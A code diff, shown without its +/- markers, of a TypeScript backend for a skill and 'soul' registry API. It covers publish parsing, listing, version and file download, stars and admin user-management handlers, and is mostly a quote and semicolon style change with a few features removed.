if (typeof candidate.name !== "string") return null;
if (typeof candidate.size !== "number") return null;
if (typeof candidate.arrayBuffer !== "function") return null;
return entry as FileLikeEntry;
if (typeof entry === 'string') return null
const candidate = entry as Partial<FileLike>
if (typeof candidate.name !== 'string') return null
if (typeof candidate.size !== 'number') return null
if (typeof candidate.arrayBuffer !== 'function') return null
return entry as FileLikeEntry
}
export async function parseMultipartPublish(
ctx: ActionCtx,
request: Request,
): Promise<{
slug: string;
displayName: string;
version: string;
changelog: string;
acceptLicenseTerms?: boolean;
tags?: string[];
forkOf?: { slug: string; version?: string };
slug: string
displayName: string
version: string
changelog: string
tags?: string[]
forkOf?: { slug: string; version?: string }
files: Array<{
path: string;
size: number;
storageId: Id<"_storage">;
sha256: string;
contentType?: string;
}>;
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}>
}> {
const form = await request.formData();
const payloadRaw = form.get("payload");
if (!payloadRaw || typeof payloadRaw !== "string") {
throw new Error("Missing payload");
const form = await request.formData()
const payloadRaw = form.get('payload')
if (!payloadRaw || typeof payloadRaw !== 'string') {
throw new Error('Missing payload')
}
let payload: Record<string, unknown>;
let payload: Record<string, unknown>
try {
payload = JSON.parse(payloadRaw) as Record<string, unknown>;
payload = JSON.parse(payloadRaw) as Record<string, unknown>
} catch {
throw new Error("Invalid JSON payload");
throw new Error('Invalid JSON payload')
}
const files: Array<{
path: string;
size: number;
storageId: Id<"_storage">;
sha256: string;
contentType?: string;
}> = [];
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}> = []
for (const entry of form.getAll("files")) {
const file = toFileLike(entry);
if (!file) continue;
const path = file.name;
if (isMacJunkPath(path)) continue;
const size = file.size;
if (size > MAX_PUBLISH_FILE_BYTES) {
throw new Error(getPublishFileSizeError(path));
}
const contentType = file.type || undefined;
const buffer = new Uint8Array(await file.arrayBuffer());
const sha256 = await sha256Hex(buffer);
const storageId = await ctx.storage.store(file as Blob);
files.push({ path, size, storageId, sha256, contentType });
for (const entry of form.getAll('files')) {
const file = toFileLike(entry)
if (!file) continue
const path = file.name
const size = file.size
const contentType = file.type || undefined
const buffer = new Uint8Array(await file.arrayBuffer())
const sha256 = await sha256Hex(buffer)
const storageId = await ctx.storage.store(file as Blob)
files.push({ path, size, storageId, sha256, contentType })
}
const forkOf = payload.forkOf && typeof payload.forkOf === "object" ? payload.forkOf : undefined;
const hasAcceptLicenseTerms = Object.prototype.hasOwnProperty.call(payload, "acceptLicenseTerms");
const forkOf = payload.forkOf && typeof payload.forkOf === 'object' ? payload.forkOf : undefined
const body = {
slug: payload.slug,
displayName: payload.displayName,
version: payload.version,
changelog: typeof payload.changelog === "string" ? payload.changelog : "",
...(hasAcceptLicenseTerms ? { acceptLicenseTerms: payload.acceptLicenseTerms } : {}),
changelog: typeof payload.changelog === 'string' ? payload.changelog : '',
tags: Array.isArray(payload.tags) ? payload.tags : undefined,
...(payload.source ? { source: payload.source } : {}),
files,
...(forkOf ? { forkOf } : {}),
};
}
return parsePublishBody(body);
return parsePublishBody(body)
}
export function parsePublishBody(body: unknown) {
const parsed = parseArk(CliPublishRequestSchema, body, "Publish payload");
if (parsed.files.length === 0) throw new Error("files required");
const tags = parsed.tags && parsed.tags.length > 0 ? parsed.tags : undefined;
const parsed = parseArk(CliPublishRequestSchema, body, 'Publish payload')
if (parsed.files.length === 0) throw new Error('files required')
const tags = parsed.tags && parsed.tags.length > 0 ? parsed.tags : undefined
return {
slug: parsed.slug,
displayName: parsed.displayName,
version: parsed.version,
changelog: parsed.changelog,
acceptLicenseTerms: parsed.acceptLicenseTerms,
tags,
source: parsed.source ?? undefined,
forkOf: parsed.forkOf
@@ -323,24 +301,24 @@ export function parsePublishBody(body: unknown) {
: undefined,
files: parsed.files.map((file) => ({
...file,
storageId: file.storageId as Id<"_storage">,
storageId: file.storageId as Id<'_storage'>,
})),
};
}
}
export function softDeleteErrorToResponse(
entity: "skill" | "soul",
entity: 'skill' | 'soul',
error: unknown,
headers: HeadersInit,
) {
const message = error instanceof Error ? error.message : `${entity} delete failed`;
const lower = message.toLowerCase();
const message = error instanceof Error ? error.message : `${entity} delete failed`
const lower = message.toLowerCase()
if (lower.includes("unauthorized")) return text("Unauthorized", 401, headers);
if (lower.includes("forbidden")) return text("Forbidden", 403, headers);
if (lower.includes("not found")) return text(message, 404, headers);
if (lower.includes("slug required")) return text("Slug required", 400, headers);
if (lower.includes('unauthorized')) return text('Unauthorized', 401, headers)
if (lower.includes('forbidden')) return text('Forbidden', 403, headers)
if (lower.includes('not found')) return text(message, 404, headers)
if (lower.includes('slug required')) return text('Slug required', 400, headers)
// Unknown: server-side failure. Keep body generic.
return text("Internal Server Error", 500, headers);
return text('Internal Server Error', 500, headers)
}
File diff suppressed because it is too large Load Diff
+150 -165
View File
@@ -1,9 +1,9 @@
import { api, internal } from "../_generated/api";
import type { Doc, Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { requireApiTokenUser } from "../lib/apiTokenAuth";
import { applyRateLimit, parseBearerToken } from "../lib/httpRateLimit";
import { publishSoulVersionForUser } from "../souls";
import { api, internal } from '../_generated/api'
import type { Doc, Id } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
import { requireApiTokenUser } from '../lib/apiTokenAuth'
import { applyRateLimit, parseBearerToken } from '../lib/httpRateLimit'
import { publishSoulVersionForUser } from '../souls'
import {
MAX_RAW_FILE_BYTES,
getPathSegments,
@@ -15,90 +15,79 @@ import {
softDeleteErrorToResponse,
text,
toOptionalNumber,
} from "./shared";
} from './shared'
type ListSoulsResult = {
items: Array<{
soul: {
_id: Id<"souls">;
slug: string;
displayName: string;
summary?: string;
tags: Record<string, Id<"soulVersions">>;
stats: unknown;
createdAt: number;
updatedAt: number;
latestVersionId?: Id<"soulVersions">;
};
latestVersion: { version: string; createdAt: number; changelog: string } | null;
}>;
nextCursor: string | null;
};
_id: Id<'souls'>
slug: string
displayName: string
summary?: string
tags: Record<string, Id<'soulVersions'>>
stats: unknown
createdAt: number
updatedAt: number
latestVersionId?: Id<'soulVersions'>
}
latestVersion: { version: string; createdAt: number; changelog: string } | null
}>
nextCursor: string | null
}
type GetSoulBySlugResult = {
soul: {
_id: Id<"souls">;
slug: string;
displayName: string;
summary?: string;
tags: Record<string, Id<"soulVersions">>;
stats: unknown;
createdAt: number;
updatedAt: number;
} | null;
latestVersion: PublicSoulVersion | null;
owner: { handle?: string; displayName?: string; image?: string } | null;
} | null;
_id: Id<'souls'>
slug: string
displayName: string
summary?: string
tags: Record<string, Id<'soulVersions'>>
stats: unknown
createdAt: number
updatedAt: number
} | null
latestVersion: Doc<'soulVersions'> | null
owner: { handle?: string; displayName?: string; image?: string } | null
} | null
type ListSoulVersionsResult = {
items: PublicSoulVersion[];
nextCursor: string | null;
};
items: Array<{
version: string
createdAt: number
changelog: string
changelogSource?: 'auto' | 'user'
files: Array<{
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}>
softDeletedAt?: number
}>
nextCursor: string | null
}
type PublicSoulVersion = Pick<
Doc<"soulVersions">,
| "_id"
| "_creationTime"
| "soulId"
| "version"
| "fingerprint"
| "changelog"
| "changelogSource"
| "createdBy"
| "createdAt"
| "softDeletedAt"
> & {
files: Array<{
path: string;
size: number;
sha256: string;
contentType?: string;
}>;
parsed?: {
clawdis?: Doc<"soulVersions">["parsed"]["clawdis"];
};
};
type SoulFile = PublicSoulVersion["files"][number];
type SoulFile = Doc<'soulVersions'>['files'][number]
export async function listSoulsV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "read");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'read')
if (!rate.ok) return rate.response
const url = new URL(request.url);
const limit = toOptionalNumber(url.searchParams.get("limit"));
const cursor = url.searchParams.get("cursor")?.trim() || undefined;
const url = new URL(request.url)
const limit = toOptionalNumber(url.searchParams.get('limit'))
const cursor = url.searchParams.get('cursor')?.trim() || undefined
const result = (await ctx.runQuery(api.souls.listPublicPage, {
limit,
cursor,
})) as ListSoulsResult;
})) as ListSoulsResult
// Batch resolve all tags in a single query instead of N queries
const resolvedTagsList = await resolveSoulTagsBatch(
ctx,
result.items.map((item) => item.soul.tags),
);
)
const items = result.items.map((item, idx) => ({
slug: item.soul.slug,
@@ -115,26 +104,26 @@ export async function listSoulsV1Handler(ctx: ActionCtx, request: Request) {
changelog: item.latestVersion.changelog,
}
: null,
}));
}))
return json({ items, nextCursor: result.nextCursor ?? null }, 200, rate.headers);
return json({ items, nextCursor: result.nextCursor ?? null }, 200, rate.headers)
}
export async function soulsGetRouterV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "read");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'read')
if (!rate.ok) return rate.response
const segments = getPathSegments(request, "/api/v1/souls/");
if (segments.length === 0) return text("Missing slug", 400, rate.headers);
const slug = segments[0]?.trim().toLowerCase() ?? "";
const second = segments[1];
const third = segments[2];
const segments = getPathSegments(request, '/api/v1/souls/')
if (segments.length === 0) return text('Missing slug', 400, rate.headers)
const slug = segments[0]?.trim().toLowerCase() ?? ''
const second = segments[1]
const third = segments[2]
if (segments.length === 1) {
const result = (await ctx.runQuery(api.souls.getBySlug, { slug })) as GetSoulBySlugResult;
if (!result?.soul) return text("Soul not found", 404, rate.headers);
const result = (await ctx.runQuery(api.souls.getBySlug, { slug })) as GetSoulBySlugResult
if (!result?.soul) return text('Soul not found', 404, rate.headers)
const [tags] = await resolveSoulTagsBatch(ctx, [result.soul.tags]);
const [tags] = await resolveSoulTagsBatch(ctx, [result.soul.tags])
return json(
{
soul: {
@@ -163,21 +152,21 @@ export async function soulsGetRouterV1Handler(ctx: ActionCtx, request: Request)
},
200,
rate.headers,
);
)
}
if (second === "versions" && segments.length === 2) {
const soul = await ctx.runQuery(internal.souls.getSoulBySlugInternal, { slug });
if (!soul || soul.softDeletedAt) return text("Soul not found", 404, rate.headers);
if (second === 'versions' && segments.length === 2) {
const soul = await ctx.runQuery(internal.souls.getSoulBySlugInternal, { slug })
if (!soul || soul.softDeletedAt) return text('Soul not found', 404, rate.headers)
const url = new URL(request.url);
const limit = toOptionalNumber(url.searchParams.get("limit"));
const cursor = url.searchParams.get("cursor")?.trim() || undefined;
const url = new URL(request.url)
const limit = toOptionalNumber(url.searchParams.get('limit'))
const cursor = url.searchParams.get('cursor')?.trim() || undefined
const result = (await ctx.runQuery(api.souls.listVersionsPage, {
soulId: soul._id,
limit,
cursor,
})) as ListSoulVersionsResult;
})) as ListSoulVersionsResult
const items = result.items
.filter((version) => !version.softDeletedAt)
@@ -186,21 +175,21 @@ export async function soulsGetRouterV1Handler(ctx: ActionCtx, request: Request)
createdAt: version.createdAt,
changelog: version.changelog,
changelogSource: version.changelogSource ?? null,
}));
}))
return json({ items, nextCursor: result.nextCursor ?? null }, 200, rate.headers);
return json({ items, nextCursor: result.nextCursor ?? null }, 200, rate.headers)
}
if (second === "versions" && third && segments.length === 3) {
const soul = await ctx.runQuery(internal.souls.getSoulBySlugInternal, { slug });
if (!soul || soul.softDeletedAt) return text("Soul not found", 404, rate.headers);
if (second === 'versions' && third && segments.length === 3) {
const soul = await ctx.runQuery(internal.souls.getSoulBySlugInternal, { slug })
if (!soul || soul.softDeletedAt) return text('Soul not found', 404, rate.headers)
const version = await ctx.runQuery(api.souls.getVersionBySoulAndVersion, {
soulId: soul._id,
version: third,
});
if (!version) return text("Version not found", 404, rate.headers);
if (version.softDeletedAt) return text("Version not available", 410, rate.headers);
})
if (!version) return text('Version not found', 404, rate.headers)
if (version.softDeletedAt) return text('Version not available', 410, rate.headers)
return json(
{
@@ -220,52 +209,48 @@ export async function soulsGetRouterV1Handler(ctx: ActionCtx, request: Request)
},
200,
rate.headers,
);
)
}
if (second === "file" && segments.length === 2) {
const url = new URL(request.url);
const path = url.searchParams.get("path")?.trim();
if (!path) return text("Missing path", 400, rate.headers);
const versionParam = url.searchParams.get("version")?.trim();
const tagParam = url.searchParams.get("tag")?.trim();
if (second === 'file' && segments.length === 2) {
const url = new URL(request.url)
const path = url.searchParams.get('path')?.trim()
if (!path) return text('Missing path', 400, rate.headers)
const versionParam = url.searchParams.get('version')?.trim()
const tagParam = url.searchParams.get('tag')?.trim()
const soul = await ctx.runQuery(internal.souls.getSoulBySlugInternal, { slug });
if (!soul || soul.softDeletedAt) return text("Soul not found", 404, rate.headers);
const soulResult = (await ctx.runQuery(api.souls.getBySlug, { slug })) as GetSoulBySlugResult
if (!soulResult?.soul) return text('Soul not found', 404, rate.headers)
let version = soul.latestVersionId
? await ctx.runQuery(internal.souls.getVersionByIdInternal, {
versionId: soul.latestVersionId,
})
: null;
let version = soulResult.latestVersion
if (versionParam) {
version = await ctx.runQuery(internal.souls.getVersionBySoulAndVersionInternal, {
soulId: soul._id,
version = await ctx.runQuery(api.souls.getVersionBySoulAndVersion, {
soulId: soulResult.soul._id,
version: versionParam,
});
})
} else if (tagParam) {
const versionId = soul.tags[tagParam];
const versionId = soulResult.soul.tags[tagParam]
if (versionId) {
version = await ctx.runQuery(internal.souls.getVersionByIdInternal, { versionId });
version = await ctx.runQuery(api.souls.getVersionById, { versionId })
}
}
if (!version) return text("Version not found", 404, rate.headers);
if (version.softDeletedAt) return text("Version not available", 410, rate.headers);
if (!version) return text('Version not found', 404, rate.headers)
if (version.softDeletedAt) return text('Version not available', 410, rate.headers)
const normalized = path.trim();
const normalizedLower = normalized.toLowerCase();
const normalized = path.trim()
const normalizedLower = normalized.toLowerCase()
const file =
version.files.find((entry) => entry.path === normalized) ??
version.files.find((entry) => entry.path.toLowerCase() === normalizedLower);
if (!file) return text("File not found", 404, rate.headers);
if (file.size > MAX_RAW_FILE_BYTES) return text("File exceeds 200KB limit", 413, rate.headers);
version.files.find((entry) => entry.path.toLowerCase() === normalizedLower)
if (!file) return text('File not found', 404, rate.headers)
if (file.size > MAX_RAW_FILE_BYTES) return text('File exceeds 200KB limit', 413, rate.headers)
const blob = await ctx.storage.get(file.storageId);
if (!blob) return text("File missing in storage", 410, rate.headers);
const textContent = await blob.text();
const blob = await ctx.storage.get(file.storageId)
if (!blob) return text('File missing in storage', 410, rate.headers)
const textContent = await blob.text()
void ctx.runMutation(internal.soulDownloads.incrementInternal, { soulId: soul._id });
void ctx.runMutation(api.soulDownloads.increment, { soulId: soulResult.soul._id })
return safeTextFileResponse({
textContent,
path: file.path,
@@ -273,83 +258,83 @@ export async function soulsGetRouterV1Handler(ctx: ActionCtx, request: Request)
sha256: file.sha256,
size: file.size,
headers: rate.headers,
});
})
}
return text("Not found", 404, rate.headers);
return text('Not found', 404, rate.headers)
}
export async function publishSoulV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "write");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'write')
if (!rate.ok) return rate.response
try {
if (!parseBearerToken(request)) return text("Unauthorized", 401, rate.headers);
if (!parseBearerToken(request)) return text('Unauthorized', 401, rate.headers)
} catch {
return text("Unauthorized", 401, rate.headers);
return text('Unauthorized', 401, rate.headers)
}
const { userId } = await requireApiTokenUser(ctx, request);
const { userId } = await requireApiTokenUser(ctx, request)
const contentType = request.headers.get("content-type") ?? "";
const contentType = request.headers.get('content-type') ?? ''
try {
if (contentType.includes("application/json")) {
const body = await request.json();
const payload = parsePublishBody(body);
const result = await publishSoulVersionForUser(ctx, userId, payload);
return json({ ok: true, ...result }, 200, rate.headers);
if (contentType.includes('application/json')) {
const body = await request.json()
const payload = parsePublishBody(body)
const result = await publishSoulVersionForUser(ctx, userId, payload)
return json({ ok: true, ...result }, 200, rate.headers)
}
if (contentType.includes("multipart/form-data")) {
const payload = await parseMultipartPublish(ctx, request);
const result = await publishSoulVersionForUser(ctx, userId, payload);
return json({ ok: true, ...result }, 200, rate.headers);
if (contentType.includes('multipart/form-data')) {
const payload = await parseMultipartPublish(ctx, request)
const result = await publishSoulVersionForUser(ctx, userId, payload)
return json({ ok: true, ...result }, 200, rate.headers)
}
} catch (error) {
const message = error instanceof Error ? error.message : "Publish failed";
return text(message, 400, rate.headers);
const message = error instanceof Error ? error.message : 'Publish failed'
return text(message, 400, rate.headers)
}
return text("Unsupported content type", 415, rate.headers);
return text('Unsupported content type', 415, rate.headers)
}
export async function soulsPostRouterV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "write");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'write')
if (!rate.ok) return rate.response
const segments = getPathSegments(request, "/api/v1/souls/");
if (segments.length !== 2 || segments[1] !== "undelete") {
return text("Not found", 404, rate.headers);
const segments = getPathSegments(request, '/api/v1/souls/')
if (segments.length !== 2 || segments[1] !== 'undelete') {
return text('Not found', 404, rate.headers)
}
const slug = segments[0]?.trim().toLowerCase() ?? "";
const slug = segments[0]?.trim().toLowerCase() ?? ''
try {
const { userId } = await requireApiTokenUser(ctx, request);
const { userId } = await requireApiTokenUser(ctx, request)
await ctx.runMutation(internal.souls.setSoulSoftDeletedInternal, {
userId,
slug,
deleted: false,
});
return json({ ok: true }, 200, rate.headers);
})
return json({ ok: true }, 200, rate.headers)
} catch (error) {
return softDeleteErrorToResponse("soul", error, rate.headers);
return softDeleteErrorToResponse('soul', error, rate.headers)
}
}
export async function soulsDeleteRouterV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "write");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'write')
if (!rate.ok) return rate.response
const segments = getPathSegments(request, "/api/v1/souls/");
if (segments.length !== 1) return text("Not found", 404, rate.headers);
const slug = segments[0]?.trim().toLowerCase() ?? "";
const segments = getPathSegments(request, '/api/v1/souls/')
if (segments.length !== 1) return text('Not found', 404, rate.headers)
const slug = segments[0]?.trim().toLowerCase() ?? ''
try {
const { userId } = await requireApiTokenUser(ctx, request);
const { userId } = await requireApiTokenUser(ctx, request)
await ctx.runMutation(internal.souls.setSoulSoftDeletedInternal, {
userId,
slug,
deleted: true,
});
return json({ ok: true }, 200, rate.headers);
})
return json({ ok: true }, 200, rate.headers)
} catch (error) {
return softDeleteErrorToResponse("soul", error, rate.headers);
return softDeleteErrorToResponse('soul', error, rate.headers)
}
}
+27 -27
View File
@@ -1,51 +1,51 @@
import { internal } from "../_generated/api";
import type { ActionCtx } from "../_generated/server";
import { requireApiTokenUser } from "../lib/apiTokenAuth";
import { applyRateLimit } from "../lib/httpRateLimit";
import { getPathSegments, json, text } from "./shared";
import { internal } from '../_generated/api'
import type { ActionCtx } from '../_generated/server'
import { requireApiTokenUser } from '../lib/apiTokenAuth'
import { applyRateLimit } from '../lib/httpRateLimit'
import { getPathSegments, json, text } from './shared'
export async function starsPostRouterV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "write");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'write')
if (!rate.ok) return rate.response
const segments = getPathSegments(request, "/api/v1/stars/");
if (segments.length !== 1) return text("Not found", 404, rate.headers);
const slug = segments[0]?.trim().toLowerCase() ?? "";
const segments = getPathSegments(request, '/api/v1/stars/')
if (segments.length !== 1) return text('Not found', 404, rate.headers)
const slug = segments[0]?.trim().toLowerCase() ?? ''
try {
const { userId } = await requireApiTokenUser(ctx, request);
const skill = await ctx.runQuery(internal.skills.getSkillBySlugInternal, { slug });
if (!skill) return text("Skill not found", 404, rate.headers);
const { userId } = await requireApiTokenUser(ctx, request)
const skill = await ctx.runQuery(internal.skills.getSkillBySlugInternal, { slug })
if (!skill) return text('Skill not found', 404, rate.headers)
const result = await ctx.runMutation(internal.stars.addStarInternal, {
userId,
skillId: skill._id,
});
return json(result, 200, rate.headers);
})
return json(result, 200, rate.headers)
} catch {
return text("Unauthorized", 401, rate.headers);
return text('Unauthorized', 401, rate.headers)
}
}
export async function starsDeleteRouterV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "write");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'write')
if (!rate.ok) return rate.response
const segments = getPathSegments(request, "/api/v1/stars/");
if (segments.length !== 1) return text("Not found", 404, rate.headers);
const slug = segments[0]?.trim().toLowerCase() ?? "";
const segments = getPathSegments(request, '/api/v1/stars/')
if (segments.length !== 1) return text('Not found', 404, rate.headers)
const slug = segments[0]?.trim().toLowerCase() ?? ''
try {
const { userId } = await requireApiTokenUser(ctx, request);
const skill = await ctx.runQuery(internal.skills.getSkillBySlugInternal, { slug });
if (!skill) return text("Skill not found", 404, rate.headers);
const { userId } = await requireApiTokenUser(ctx, request)
const skill = await ctx.runQuery(internal.skills.getSkillBySlugInternal, { slug })
if (!skill) return text('Skill not found', 404, rate.headers)
const result = await ctx.runMutation(internal.stars.removeStarInternal, {
userId,
skillId: skill._id,
});
return json(result, 200, rate.headers);
})
return json(result, 200, rate.headers)
} catch {
return text("Unauthorized", 401, rate.headers);
return text('Unauthorized', 401, rate.headers)
}
}
-24
View File
@@ -1,24 +0,0 @@
import { internal } from "../_generated/api";
import type { ActionCtx } from "../_generated/server";
import { applyRateLimit } from "../lib/httpRateLimit";
import { getPathSegments, json, requireApiTokenUserOrResponse, text } from "./shared";
export async function transfersGetRouterV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "read");
if (!rate.ok) return rate.response;
const segments = getPathSegments(request, "/api/v1/transfers/");
const direction = segments[0]?.trim().toLowerCase() ?? "";
if (segments.length !== 1 || (direction !== "incoming" && direction !== "outgoing")) {
return text("Not found", 404, rate.headers);
}
const auth = await requireApiTokenUserOrResponse(ctx, request, rate.headers);
if (!auth.ok) return auth.response;
const transfers =
direction === "incoming"
? await ctx.runQuery(internal.skillTransfers.listIncomingInternal, { userId: auth.userId })
: await ctx.runQuery(internal.skillTransfers.listOutgoingInternal, { userId: auth.userId });
return json({ transfers }, 200, rate.headers);
}
+113 -163
View File
@@ -1,8 +1,8 @@
import { api, internal } from "../_generated/api";
import type { Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { requireApiTokenUser } from "../lib/apiTokenAuth";
import { applyRateLimit } from "../lib/httpRateLimit";
import { api, internal } from '../_generated/api'
import type { Id } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
import { requireApiTokenUser } from '../lib/apiTokenAuth'
import { applyRateLimit } from '../lib/httpRateLimit'
import {
getPathSegments,
json,
@@ -11,106 +11,93 @@ import {
requireApiTokenUserOrResponse,
text,
toOptionalNumber,
} from "./shared";
} from './shared'
export async function usersPostRouterV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "write");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'write')
if (!rate.ok) return rate.response
const segments = getPathSegments(request, "/api/v1/users/");
const segments = getPathSegments(request, '/api/v1/users/')
if (segments.length !== 1) {
return text("Not found", 404, rate.headers);
return text('Not found', 404, rate.headers)
}
const action = segments[0];
if (
action !== "ban" &&
action !== "role" &&
action !== "restore" &&
action !== "reclaim" &&
action !== "publisher"
) {
return text("Not found", 404, rate.headers);
const action = segments[0]
if (action !== 'ban' && action !== 'role' && action !== 'restore' && action !== 'reclaim') {
return text('Not found', 404, rate.headers)
}
const payloadResult = await parseJsonPayload(request, rate.headers);
if (!payloadResult.ok) return payloadResult.response;
const payload = payloadResult.payload;
const payloadResult = await parseJsonPayload(request, rate.headers)
if (!payloadResult.ok) return payloadResult.response
const payload = payloadResult.payload
const authResult = await requireApiTokenUserOrResponse(ctx, request, rate.headers);
if (!authResult.ok) return authResult.response;
const actorUserId = authResult.userId;
const actorUser = authResult.user;
const authResult = await requireApiTokenUserOrResponse(ctx, request, rate.headers)
if (!authResult.ok) return authResult.response
const actorUserId = authResult.userId
const actorUser = authResult.user
// Restore and reclaim have different parameter shapes, handle them separately
if (action === "restore") {
const admin = requireAdminOrResponse(actorUser, rate.headers);
if (!admin.ok) return admin.response;
return handleAdminRestore(ctx, request, payload, actorUserId, rate.headers);
if (action === 'restore') {
const admin = requireAdminOrResponse(actorUser, rate.headers)
if (!admin.ok) return admin.response
return handleAdminRestore(ctx, request, payload, actorUserId, rate.headers)
}
if (action === "reclaim") {
const admin = requireAdminOrResponse(actorUser, rate.headers);
if (!admin.ok) return admin.response;
return handleAdminReclaim(ctx, request, payload, actorUserId, rate.headers);
if (action === 'reclaim') {
const admin = requireAdminOrResponse(actorUser, rate.headers)
if (!admin.ok) return admin.response
return handleAdminReclaim(ctx, request, payload, actorUserId, rate.headers)
}
if (action === "publisher") {
const admin = requireAdminOrResponse(actorUser, rate.headers);
if (!admin.ok) return admin.response;
return handleAdminEnsurePublisher(ctx, payload, actorUserId, rate.headers);
}
const handleRaw = typeof payload.handle === "string" ? payload.handle.trim() : "";
const userIdRaw = typeof payload.userId === "string" ? payload.userId.trim() : "";
const reasonRaw = typeof payload.reason === "string" ? payload.reason.trim() : "";
const handleRaw = typeof payload.handle === 'string' ? payload.handle.trim() : ''
const userIdRaw = typeof payload.userId === 'string' ? payload.userId.trim() : ''
const reasonRaw = typeof payload.reason === 'string' ? payload.reason.trim() : ''
if (!handleRaw && !userIdRaw) {
return text("Missing userId or handle", 400, rate.headers);
return text('Missing userId or handle', 400, rate.headers)
}
const roleRaw = typeof payload.role === "string" ? payload.role.trim().toLowerCase() : "";
if (action === "role" && !roleRaw) {
return text("Missing role", 400, rate.headers);
const roleRaw = typeof payload.role === 'string' ? payload.role.trim().toLowerCase() : ''
if (action === 'role' && !roleRaw) {
return text('Missing role', 400, rate.headers)
}
const role =
roleRaw === "user" || roleRaw === "moderator" || roleRaw === "admin" ? roleRaw : null;
if (action === "role" && !role) {
return text("Invalid role", 400, rate.headers);
const role = roleRaw === 'user' || roleRaw === 'moderator' || roleRaw === 'admin' ? roleRaw : null
if (action === 'role' && !role) {
return text('Invalid role', 400, rate.headers)
}
let targetUserId: Id<"users"> | null = userIdRaw ? (userIdRaw as Id<"users">) : null;
let targetUserId: Id<'users'> | null = userIdRaw ? (userIdRaw as Id<'users'>) : null
if (!targetUserId) {
const handle = handleRaw.toLowerCase();
const user = await ctx.runQuery(api.users.getByHandle, { handle });
if (!user?._id) return text("User not found", 404, rate.headers);
targetUserId = user._id;
const handle = handleRaw.toLowerCase()
const user = await ctx.runQuery(api.users.getByHandle, { handle })
if (!user?._id) return text('User not found', 404, rate.headers)
targetUserId = user._id
}
if (action === "ban") {
const reason = reasonRaw.length > 0 ? reasonRaw : undefined;
if (action === 'ban') {
const reason = reasonRaw.length > 0 ? reasonRaw : undefined
if (reason && reason.length > 500) {
return text("Reason too long (max 500 chars)", 400, rate.headers);
return text('Reason too long (max 500 chars)', 400, rate.headers)
}
try {
const result = await ctx.runMutation(internal.users.banUserInternal, {
actorUserId,
targetUserId,
reason,
});
return json(result, 200, rate.headers);
})
return json(result, 200, rate.headers)
} catch (error) {
const message = error instanceof Error ? error.message : "Ban failed";
if (message.toLowerCase().includes("forbidden")) {
return text("Forbidden", 403, rate.headers);
const message = error instanceof Error ? error.message : 'Ban failed'
if (message.toLowerCase().includes('forbidden')) {
return text('Forbidden', 403, rate.headers)
}
if (message.toLowerCase().includes("not found")) {
return text(message, 404, rate.headers);
if (message.toLowerCase().includes('not found')) {
return text(message, 404, rate.headers)
}
return text(message, 400, rate.headers);
return text(message, 400, rate.headers)
}
}
if (!role) {
return text("Invalid role", 400, rate.headers);
return text('Invalid role', 400, rate.headers)
}
try {
@@ -118,17 +105,17 @@ export async function usersPostRouterV1Handler(ctx: ActionCtx, request: Request)
actorUserId,
targetUserId,
role,
});
return json({ ok: true, role: result.role ?? role }, 200, rate.headers);
})
return json({ ok: true, role: result.role ?? role }, 200, rate.headers)
} catch (error) {
const message = error instanceof Error ? error.message : "Role change failed";
if (message.toLowerCase().includes("forbidden")) {
return text("Forbidden", 403, rate.headers);
const message = error instanceof Error ? error.message : 'Role change failed'
if (message.toLowerCase().includes('forbidden')) {
return text('Forbidden', 403, rate.headers)
}
if (message.toLowerCase().includes("not found")) {
return text(message, 404, rate.headers);
if (message.toLowerCase().includes('not found')) {
return text(message, 404, rate.headers)
}
return text(message, 400, rate.headers);
return text(message, 400, rate.headers)
}
}
@@ -141,22 +128,20 @@ async function handleAdminRestore(
ctx: ActionCtx,
_request: Request,
payload: Record<string, unknown>,
actorUserId: Id<"users">,
actorUserId: Id<'users'>,
headers: HeadersInit,
) {
const handle = typeof payload.handle === "string" ? payload.handle.trim().toLowerCase() : "";
if (!handle) return text("Missing handle", 400, headers);
const handle = typeof payload.handle === 'string' ? payload.handle.trim().toLowerCase() : ''
if (!handle) return text('Missing handle', 400, headers)
const slugs = Array.isArray(payload.slugs)
? payload.slugs.filter((s): s is string => typeof s === "string")
: [];
if (slugs.length === 0) return text("Missing slugs array", 400, headers);
if (slugs.length > 100) return text("Too many slugs (max 100)", 400, headers);
const slugs = Array.isArray(payload.slugs) ? payload.slugs.filter((s): s is string => typeof s === 'string') : []
if (slugs.length === 0) return text('Missing slugs array', 400, headers)
if (slugs.length > 100) return text('Too many slugs (max 100)', 400, headers)
const forceOverwriteSquatter = Boolean(payload.forceOverwriteSquatter);
const forceOverwriteSquatter = Boolean(payload.forceOverwriteSquatter)
const targetUser = await ctx.runQuery(api.users.getByHandle, { handle });
if (!targetUser?._id) return text("User not found", 404, headers);
const targetUser = await ctx.runQuery(api.users.getByHandle, { handle })
if (!targetUser?._id) return text('User not found', 404, headers)
try {
const result = await ctx.runAction(internal.githubRestore.restoreUserSkillsFromBackup, {
@@ -165,14 +150,14 @@ async function handleAdminRestore(
